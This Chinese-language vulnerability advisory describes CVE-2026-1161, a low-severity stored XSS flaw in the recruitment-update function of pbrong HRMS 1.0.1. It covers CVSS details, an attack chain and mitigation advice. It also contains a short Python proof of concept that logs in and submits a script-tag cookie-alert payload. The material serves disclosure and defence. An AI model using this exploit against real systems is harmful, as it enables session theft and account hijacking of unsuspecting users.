IPBUF安全漏洞报告
English
CVE-2026-1161 CVSS 3.5 低危

CVE-2026-1161 pbrong hrms跨站脚本漏洞

披露日期: 2026-01-19

漏洞信息

漏洞编号
CVE-2026-1161
漏洞类型
XSS跨站脚本
CVSS评分
3.5 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
pbrong hrms 1.0.1

相关标签

CVE-2026-1161XSS跨站脚本存储型XSSpbrong hrmsHRMS招聘模块Web安全

漏洞概述

CVE-2026-1161是pbrong HRMS 1.0.1版本中的一个存储型跨站脚本(XSS)漏洞。该漏洞存在于招聘管理模块的更新功能中,具体位于/handler/recruitment.go文件的UpdateRecruitmentById函数。攻击者可以通过该漏洞在招聘信息的更新过程中注入恶意JavaScript代码,当其他用户查看相关页面时,恶意脚本将会在其浏览器上下文中执行,从而窃取用户会话Cookie、劫持用户账号或进行其他恶意操作。由于该漏洞需要低权限认证且需要用户交互才能触发,CVSS评分仅为3.5,属于低危漏洞。但存储型XSS的危害在于恶意代码会被永久存储在服务器端,所有访问该页面的用户都会受到影响,因此仍需及时修复。

技术细节

该漏洞为存储型跨站脚本漏洞,存在于pbrong HRMS的招聘管理模块中。漏洞点位于/handler/recruitment.go文件的UpdateRecruitmentById函数,该函数在处理招聘信息的更新请求时,未对用户输入的字段进行充分的输入验证和输出编码。攻击者可以在招聘信息的标题、描述或其他可输入字段中嵌入恶意JavaScript代码,如<script>alert(document.cookie)</script>。当管理员或其他用户通过Web界面查看或编辑该招聘信息时,恶意代码会被浏览器解析执行。由于该功能需要低权限用户登录后操作,且涉及用户交互(需要查看触发),攻击者需要诱导目标用户访问恶意内容。攻击成功后可获取用户会话令牌、修改页面内容或进行钓鱼攻击。

攻击链分析

STEP 1
步骤1
攻击者获取pbrong HRMS系统的低权限账号
STEP 2
步骤2
攻击者构造恶意XSS payload并通过UpdateRecruitmentById函数提交
STEP 3
步骤3
恶意脚本被存储到数据库中,污染招聘数据
STEP 4
步骤4
目标用户(如管理员)访问招聘列表或详情页面
STEP 5
步骤5
浏览器解析页面时执行存储的恶意JavaScript代码
STEP 6
步骤6
攻击者通过XSS窃取用户Cookie或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2026-1161 PoC - Stored XSS in pbrong HRMS UpdateRecruitmentById # Target: pbrong HRMS 1.0.1 # Module: /handler/recruitment.go - UpdateRecruitmentById function TARGET_URL = "http://target.com" # Replace with target URL LOGIN_URL = f"{TARGET_URL}/api/login" UPDATE_URL = f"{TARGET_URL}/api/recruitment/update" # Login with low-privilege account login_data = { "username": "attacker", "password": "password123" } session = requests.Session() login_response = session.post(LOGIN_URL, json=login_data) if login_response.status_code == 200: # XSS payload in recruitment update xss_payload = '<script>alert(document.cookie)</script>' update_data = { "id": 1, "title": f"Job Position {xss_payload}", "description": "Updated via PoC", "requirements": xss_payload } response = session.post(UPDATE_URL, json=update_data) print(f"XSS payload sent. Status: {response.status_code}") else: print("Login failed")

影响范围

pbrong hrms 1.0.1

防御指南

临时缓解措施
在用户输入处理环节对<、>、"、'、/等特殊字符进行HTML实体编码;对招聘信息的各个字段实施严格的输入白名单验证;在服务端和客户端同时进行XSS过滤;部署Web应用防火墙(WAF)规则拦截XSS攻击特征;限制低权限用户对招聘管理模块的访问权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表